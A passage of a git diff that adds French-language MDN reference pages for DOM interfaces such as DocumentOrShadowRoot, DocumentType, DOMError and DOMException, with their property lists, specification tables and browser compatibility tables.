+   <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'Document')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Précise l'ordre selon lequel les éléments sont peints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.DocumentOrShadowRoot.elementsFromPoint")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</li>
+ <li>{{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}}</li>
+</ul>
diff --git a/files/fr/web/api/documentorshadowroot/index.html b/files/fr/web/api/documentorshadowroot/index.html
new file mode 100644
index 0000000000..d8dd814377
--- /dev/null
+++ b/files/fr/web/api/documentorshadowroot/index.html
@@ -0,0 +1,78 @@
+---
+title: DocumentOrShadowRoot
+slug: Web/API/DocumentOrShadowRoot
+tags:
+  - API
+  - Document
+  - DocumentOrShadowRoot
+  - Interface
+  - Reference
+  - ShadowRoot
+  - shadow dom
+translation_of: Web/API/DocumentOrShadowRoot
+---
+<div>{{APIRef("Web Components")}}</div>
+
+<p><span class="seoSummary">Le <strong><code>DocumentOrShadowRoot</code></strong> mélange de l'<a href="/fr/docs/Web/Web_Components/Using_shadow_DOM">API Shadow DOM</a> qui fournit des API qui sont partagées entre les documents et les racines fantômes. Les fonctionnalités suivantes sont incluses dans {{DOMxRef("Document")}} et {{DOMxRef("ShadowRoot")}}.</span></p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie l'{{DOMxRef('Element')}} dans l'arbre <code>shadow</code> qui a le focus.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie l'{{DOMxRef('Element')}} qui est actuellement en mode plein écran pour ce document.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie l'élément défini comme cible pour les événements de la souris lorsque le pointeur est verrouillé. Il renvoie <code>null</code> si le verrouillage est en cours, si le pointeur est déverrouillé ou si la cible se trouve dans un autre document.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie une {{DOMxRef('StyleSheetList')}} d'objets {{DOMxRef('CSSStyleSheet')}} pour les feuilles de style explicitement liées ou intégrées dans un document.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt>
+ <dd>Renvoie un objet {{DOMxRef('CaretPosition')}} contenant le noeud DOM contenant le signe d'insertion, et le décalage du caractère d'insertion dans ce noeud.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt>
+ <dd>Renvoie l'élément le plus élevé aux coordonnées spécifiées.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt>
+ <dd>Renvoie un tableau de tous les éléments aux coordonnées spécifiées.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt>
+ <dd>Renvoie un objet {{DOMxRef('Selection')}} représentant la plage de texte sélectionnée par l'utilisateur, ou la position actuelle du curseur.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.nodeFromPoint()")}} {{non-standard_inline}}</dt>
+ <dd>Renvoie le nœud supérieur aux coordonnées spécifiées.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.nodesFromPoint()")}} {{non-standard_inline}}</dt>
+ <dd>Renvoie un tableau de tous les nœuds aux coordonnées spécifiées.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Implémentation de Shadow DOM.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</div>
+
+<p>{{Compat("api.DocumentOrShadowRoot")}}</p>
+
+<p>[1] Les fonctionnalités de cette interface sont toujours implémentées sur l'objet {{DOMxRef("Document")}}.</p>
diff --git a/files/fr/web/api/documenttouch/index.html b/files/fr/web/api/documenttouch/index.html
new file mode 100644
index 0000000000..d9deed0227
--- /dev/null
+++ b/files/fr/web/api/documenttouch/index.html
@@ -0,0 +1,37 @@
+---
+title: DocumentTouch
+slug: Web/API/DocumentTouch
+tags:
+  - API
+  - DOM
+  - DocumentTouch
+  - Mobile
+  - Tactile
+  - toucher
+translation_of: Web/API/DocumentTouch
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>{{ obsolete_header(25) }}</p>
+
+<p>L'interface <code>DocumentTouch</code> était utilisée pour fournir des méthodes pratiques pour la création des objets {{ domxref("Touch") }} et {{ domxref("TouchList") }}, mais elle a été supprimée. Les méthodes sont maintenant présentes dans l'interface {{domxref("Document")}}.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentTouch.createTouch()") }}</dt>
+ <dd>Crée un nouvel objet {{ domxref("Touch") }}.</dd>
+ <dt>{{ domxref("DocumentTouch.createTouchList()") }}</dt>
+ <dd>Crée un nouvel objet {{ domxref("TouchList") }}.</dd>
+</dl>
+
+<h2 id="A_voir_aussi">A voir aussi</h2>
+
+<ul>
+ <li><a href="/en/DOM/Touch_events" title="en/DOM/Touch events">Touch events</a></li>
+ <li>{{ domxref("Touch") }}</li>
+ <li>{{ domxref("TouchList") }}</li>
+ <li>{{ domxref("TouchEvent") }}</li>
+ <li>{{ domxref("Document.createTouch") }}</li>
+ <li>{{ domxref("Document.createTouchList") }}</li>
+</ul>
diff --git a/files/fr/web/api/documenttype/index.html b/files/fr/web/api/documenttype/index.html
new file mode 100644
index 0000000000..fd2eeb9675
--- /dev/null
+++ b/files/fr/web/api/documenttype/index.html
@@ -0,0 +1,205 @@
+---
+title: DocumentType
+slug: Web/API/DocumentType
+tags:
+  - API
+  - DOM
+  - DocumentType
+  - Interface
+translation_of: Web/API/DocumentType
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interface <strong><code>DocumentType</code></strong> représente un nœud ({{domxref("Node")}}) contenant un <em>doctype</em>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite de propriétés de la part de son parent, {{domxref("Node")}}, et implémente l'interface {{domxref("ChildNode")}}.</em></p>
+
+<dl>
+ <dt>...</dt>
+ <dt>{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>Une {{domxref ("NamedNodeMap")}} des entités déclarées dans la DTD. Chaque noeud de cette carte implémente l'interface {{domxref ("Entity")}}.</dd>
+ <dt>{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>Un {{domxref ("DOMString")}} du sous-ensemble interne, ou null s'il n'y en a pas. Par exemple "&lt;! ELEMENT foo (bar)"&gt;</dd>
+ <dt>{{domxref("DocumentType.name")}} {{readonlyInline}}</dt>
+ <dd>une {{domxref("DOMString")}}, par exemple, <code>"html"</code> pour <code>&lt;!DOCTYPE HTML&gt;</code>.</dd>
+ <dt>{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>une {{domxref ("NamedNodeMap")}} avec les notations déclarées dans la DTD. Chaque nœud de cette carte implémente l'interface {{domxref ("Notation")}}.</dd>
+ <dt>{{domxref("DocumentType.publicId")}} {{readonlyInline}}</dt>
+ <dd>une {{domxref("DOMString")}}, par exemple <code>"-//W3C//DTD HTML 4.01//EN"</code>, chaîne vide pour HTML5.</dd>
+ <dt>{{domxref("DocumentType.systemId")}} {{readonlyInline}}</dt>
+ <dd>une {{domxref("DOMString")}}, par exemple, <code>"http://www.w3.org/TR/html4/strict.dtd"</code>, chaîne vide pour HTML5.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite de méthodes de la part de son parent, {{domxref("Node")}}, et implémente l'interface {{domxref("ChildNode")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Cette méthode retire l'objet de la liste des enfants de son élément parent.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Implémente désormais l'interface {{domxref("ChildNode")}}.<br>
+    Retrait des propriétés <code>internalSubset</code>, <code>entities</code> et <code>notation</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Aucune modification depuis {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Ajout des propriétés <code>publicID</code>, <code>systemID</code>  et <code>internalSubset</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entities</code> and <code>notations</code></td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>internalSubset</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} (not anymore in any case)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}}</td>
+   <td>29.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entities</code> and <code>notations</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>internalSubset</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<div id="compat-mobile"></div>
+
+<p>[1] Le projet Chromium prévoit d'abandonner la prise en charge des propriétés <code>internalSubset</code>, <code>entities</code> et <code>notations</code>.</p>
+
+<p>[2] Firefox 25 ajouta également les propriétés <code>previousElementSibling</code> et <code>nextElementSibling</code>. Celles-ci furent retirées à partir de Firefox 28 pour des raisons de compatibilité.</p>
+
+<p>[3] Les propriétés <code>entities</code> et <code>notations</code> existent dans IE et Edge, mais semblent toujours être  <code>null</code>?</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model">L'index des interfaces du DOM</a></li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("Notation")}}</li>
+</ul>
diff --git a/files/fr/web/api/domapplicationsmanager/getall/index.html b/files/fr/web/api/domapplicationsmanager/getall/index.html
new file mode 100644
index 0000000000..df247c4a1c
--- /dev/null
+++ b/files/fr/web/api/domapplicationsmanager/getall/index.html
@@ -0,0 +1,33 @@
+---
+title: Apps.mgmt.getAll
+slug: Web/API/DomApplicationsManager/getAll
+tags:
+  - API Apps
+  - Apps
+translation_of: Archive/Marketplace/API/DOMApplicationsManager/getAll
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<h2 id="Résumé">Résumé</h2>
+<p>Liste toutes les applications installées dans le repertoire de l'utilisateur.</p>
+<h2 id="Syntaxe">Syntaxe</h2>
+<pre>window.navigator.mozApps.mgmt.getAll()
+</pre>
+<h2 id="Paramètres">Paramètres</h2>
+<p>Aucun.</p>
+<h2 id="Renvoie">Renvoie</h2>
+<p><code>getAll()</code> renvoie un objet <code>pendingGetAll</code>. Il est nécessaire de définir des callbacks pour les propriétés <code>onsuccess</code> et <code>onerror</code> de l'objet renvoyé.</p>
+<p><code>pendingGetAll.result</code> sera un tableau d'objet {{ domxref("App") }} qui contient les applications actuellement installées dans le navigateur. <code>pendingGetAll.result</code> sera une liste vide si aucune application n'est installée. <code>onerror</code> sera appelé si un problème grave intervient pendant cette vérification.</p>
+<p>Cet appel a un accès restreint. <code>navigator.mozApps.mgmt</code> sera <code>null</code> si vous n'avez pas l'autorisation de récuperer les applications.</p>
+<h2 id="Erreurs">Erreurs</h2>
+<p>L'erreur suivante peut être renvoyée dans <code>DOMRequest.error</code>.</p>
+<dl>
+</dl>
+<dl>
+ <dt>
+  DENIED</dt>
+ <dd>
+  Autorisation refusée.</dd>
+</dl>
+<h2 id="Sujet_en_relation">Sujet en relation</h2>
+<p><a href="/fr/docs/Applications/API_JavaScript_Apps">API JavaScript Apps</a></p>
diff --git a/files/fr/web/api/domapplicationsmanager/index.html b/files/fr/web/api/domapplicationsmanager/index.html
new file mode 100644
index 0000000000..d30d16fa32
--- /dev/null
+++ b/files/fr/web/api/domapplicationsmanager/index.html
@@ -0,0 +1,82 @@
+---
+title: DOMApplicationsManager
+slug: Web/API/DOMApplicationsManager
+tags:
+  - API
+translation_of: Archive/Marketplace/API/DOMApplicationsManager
+---
+<p>{{ ApiRef("Apps") }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>Provides support for managing, and Open Web apps in a browser. A manager can be accessed via {{domxref("DOMApplicationsRegistry.mgmt", "Navigator.mozApps.mgmt")}}</p>
+
+<h2 id="Property">Property</h2>
+
+<dl>
+ <dt>{{domxref("DOMApplicationsManager.oninstall")}}</dt>
+ <dd>Is an {{domxref("EventManager")}} call when <code>install</code> event is received.</dd>
+ <dt>{{domxref("DOMApplicationsManager.onuninstall")}}</dt>
+ <dd>Is an {{domxref("EventManager")}} call when <code>uninstall</code> event is received.</dd>
+ <dt>{{domxref("DOMApplicationsManager.onenablestatechange")}}</dt>
+ <dd>Is an {{domxref("EventManager")}} call when <code>enablestatechange</code> event is received.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{ domxref("DOMApplicationsManager.getAll()") }}</dt>
+ <dd>Returns all applications.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>16.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>16.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/domerror/index.html b/files/fr/web/api/domerror/index.html
new file mode 100644
index 0000000000..6d608370ed
--- /dev/null
+++ b/files/fr/web/api/domerror/index.html
@@ -0,0 +1,147 @@
+---
+title: DOMError
+slug: Web/API/DOMError
+tags:
+  - API
+  - DOM
+  - Erreurs
+  - Interface
+  - Reference
+translation_of: Web/API/DOMError
+---
+<p>{{ APIRef("DOM") }}{{deprecated_header}}</p>
+
+<p>L'interface <strong><code>DOMError</code></strong>  décrit un objet d'erreur contenant le nom de l'erreur.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DOMError.name")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{ domxref("DOMString") }} <em>(chaîne de caractères)</em> représentant <span id="result_box" lang="fr"><span>l'un des noms de type d'erreur (voir ci-dessous).</span></span></dd>
+ <dt>{{domxref("DOMError.message")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{ domxref("DOMString") }} <em>(chaîne de caractères)</em> représentant un message ou une description associée avec le nom de type d'erreur.</dd>
+</dl>
+
+<h2 id="Type_d'erreurs">Type d'erreurs</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>IndexSizeError</code></td>
+   <td>L'index n'est pas dans l'étendue autorisée (par exemple, déclenché dans un objet {{ domxref("range") }}).</td>
+  </tr>
+  <tr>
+   <td><code>HierarchyRequestError</code></td>
+   <td>La hiérarchie de l'arbre de noeud est incorrecte.</td>
+  </tr>
+  <tr>
+   <td><code>WrongDocumentError</code></td>
+   <td>L'objet est dans le mauvais {{ domxref("document") }}.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidCharacterError</code></td>
+   <td>La chaîne de caractères contient des caractères non valides.</td>
+  </tr>
+  <tr>
+   <td><code>NoModificationAllowedError</code></td>
+   <td>L'objet ne peut pas être modifié.</td>
+  </tr>
+  <tr>
+   <td><code>NotFoundError</code></td>
+   <td>L'objet ne peut pas être trouvé.</td>
+  </tr>
+  <tr>
+   <td><code>NotSupportedError</code></td>
+   <td>Cette opération n'est pas supportée.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'objet est dans un état non valide.</td>
+  </tr>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>La chaîne de caractère ne correspond pas au motif attendu.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidModificationError</code></td>
+   <td>L'objet ne peut pas être modifié de cette façon.</td>
+  </tr>
+  <tr>
+   <td><code>NamespaceError</code></td>
+   <td>Cette opération n'est pas autorisée par les Namespaces en XML.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidAccessError</code></td>
+   <td>L'objet ne supporte pas cette opération ou cet argument.</td>
+  </tr>
+  <tr>
+   <td><code>TypeMismatchError</code></td>
+   <td>Le type de l'objet ne correspond pas au type attendu.</td>
+  </tr>
+  <tr>
+   <td><code>SecurityError</code></td>
+   <td>L'opération n'est pas sécurisée.</td>
+  </tr>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Une erreur réseau est survenue.</td>
+  </tr>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>L'opération a été annulée.</td>
+  </tr>
+  <tr>
+   <td><code>URLMismatchError</code></td>
+   <td>L'URL fournie ne correspond pas à une autre URL.</td>
+  </tr>
+  <tr>
+   <td><code>QuotaExceededError</code></td>
+   <td>Le quota a été dépassé.</td>
+  </tr>
+  <tr>
+   <td><code>TimeoutError</code></td>
+   <td>L'opération a dépassé le temps autorisé. (Time Out)</td>
+  </tr>
+  <tr>
+   <td><code>InvalidNodeTypeError</code></td>
+   <td>Le noeud est incorrect ou a un ancêtre incorrect pour cette opération.</td>
+  </tr>
+  <tr>
+   <td><code>DataCloneError</code></td>
+   <td>L'objet n'a pas pu être cloné.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#interface-domerror', 'DOMError')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.DOMError")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DOMException") }}</li>
+</ul>
diff --git a/files/fr/web/api/domexception/index.html b/files/fr/web/api/domexception/index.html
new file mode 100644
index 0000000000..7c5e4a11e9
--- /dev/null
+++ b/files/fr/web/api/domexception/index.html
@@ -0,0 +1,267 @@
+---
+title: DOMException
+slug: Web/API/DOMException
+tags:
+  - API
+  - DOM
+  - Erreurs
+  - exceptions
+translation_of: Web/API/DOMException
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>L'interface <code><strong>DOMException</strong></code> représente un évènement anormal (appelé <strong>exception</strong>) qui appraît suite à l'appel d'une méthode ou à l'accès à une propriété d'une API web. C'est essentiellement lié à la façon dont les conditions d'erreur sont décrites dans les API web.</p>
+
+<p>Chaque exception a un <strong>nom</strong>, qui est une courte chaîne identifiant l'erreur ou la condition anormale.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DOMException.DOMException()", "DOMException()")}} {{experimental_inline}}</dt>
+ <dd>Retourne un objet <code>DOMException</code> avec un message et un nom spécifiés.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DOMException.code")}} {{deprecated_inline}} {{readOnlyInline}}</dt>
+ <dd>Renvoie un court message qui contient l'un des {{anch ("Noms d'erreur", "constantes de code d'erreur")}} ou 0 si aucun ne correspond. Ce champ est utilisé pour des raisons historiques. Les nouvelles exceptions DOM ne l'utilisent plus : elles mettent cette information dans l'attribut {{domxref("DOMException.name")}}.</dd>
+ <dt>{{domxref("DOMException.message")}} {{readOnlyInline}}</dt>
+ <dd>Returne une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant un message ou une description associé avec le <a href="/en-US/docs/Web/API/DOMException#Error_names">nom d'erreur</a> donné.</dd>
+ <dt>{{domxref("DOMException.name")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) qui contient l'une des chaînes associées à un <a href="#Error_names">nom d'erreur</a>.</dd>
+</dl>
+
+<h2 id="Noms_d'erreur"><a id="noms d'erreur" name="noms d'erreur"></a>Noms d'erreur</h2>
+
+<p>Les noms d'erreurs courants sont répertoriés ici. Certaines API définissent leurs propres ensembles de noms, il ne s'agit donc pas ici nécessairement d'une liste complète.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Parce qu'historiquement les erreurs ont été identifiées par une valeur numérique qui correspondait à une variable nommée définie pour avoir cette valeur, certaines des entrées ci-dessous indiquent la valeur de code héritée et le nom de constante qui ont été utilisés dans le passé.</p>
+</div>
+
+<dl>
+ <dt><a id="exception-IndexSizeError"><code>IndexSizeError</code></a></dt>
+ <dd>L'index n'est pas dans la plage autorisée. Par exemple, cela peut être lancé par un objet {{ domxref("Range") }}. (Valeur de code héritée : <code>1</code> et nom de la constante héritée : <code>INDEX_SIZE_ERR</code>)</dd>
+ <dt><code><a id="exception-HierarchyRequestError">HierarchyRequestError</a></code></dt>
+ <dd>La hiérarchie de l'arborescence des nœuds est incorrecte. ( Valeur de code héritée : <code>3</code> et nom de la constante héritée : <code>HIERARCHY_REQUEST_ERR</code>)</dd>
+ <dt><a id="exception-WrongDocumentError"><code>WrongDocumentError</code></a></dt>
+ <dd>L'objet est dans le mauvais {{ domxref("Document") }}. ( Valeur de code héritée : <code>4</code> et nom de la constante héritée : <code>WRONG_DOCUMENT_ERR</code>)</dd>
+ <dt><a id="exception-InvalidCharacterError"><code>InvalidCharacterError</code></a></dt>
+ <dd>La chaîne contient des caractères non valides. (Valeur de code héritée : <code>5</code> et nom de la constante héritée : <code>INVALID_CHARACTER_ERR</code>)</dd>
+ <dt><a id="exception-NoModificationAllowedError"><code>NoModificationAllowedError</code></a></dt>
+ <dd>L'objet ne peut être modifié. (Valeur de code héritée : <code>7</code> et nom de la constante héritée : <code>NO_MODIFICATION_ALLOWED_ERR</code>)</dd>
+ <dt><a id="exception-NotFoundError"><code>NotFoundError</code></a></dt>
+ <dd>L'objet ne peut être trouvé ici. (Valeur de code héritée : <code>8</code> et nom de la constante héritée : <code>NOT_FOUND_ERR</code>)</dd>
+ <dt><a id="exception-NotFoundError"><code>NotSupportedError</code></a></dt>
+ <dd>L'opération n'est pas supportée. (Valeur de code héritée : <code>9</code> et nom de la constante héritée : <code>NOT_SUPPORTED_ERR</code>)</dd>
+ <dt><a id="exception-InvalidStateError"><code>InvalidStateError</code></a></dt>
+ <dd>L'objet est dans un état non valide. (Valeur de code héritée : <code>11</code> et nom de la constante héritée : <code>INVALID_STATE_ERR</code>)</dd>
+ <dt><a id="exception-SyntaxError"><code>SyntaxError</code></a></dt>
+ <dd>La chaîne ne correspond pas au modèle attendu. (Valeur de code héritée : <code>12</code> et nom de la constante héritée : <code>SYNTAX_ERR</code>)</dd>
+ <dt><a id="exception-InvalidModificationError"><code>InvalidModificationError</code></a></dt>
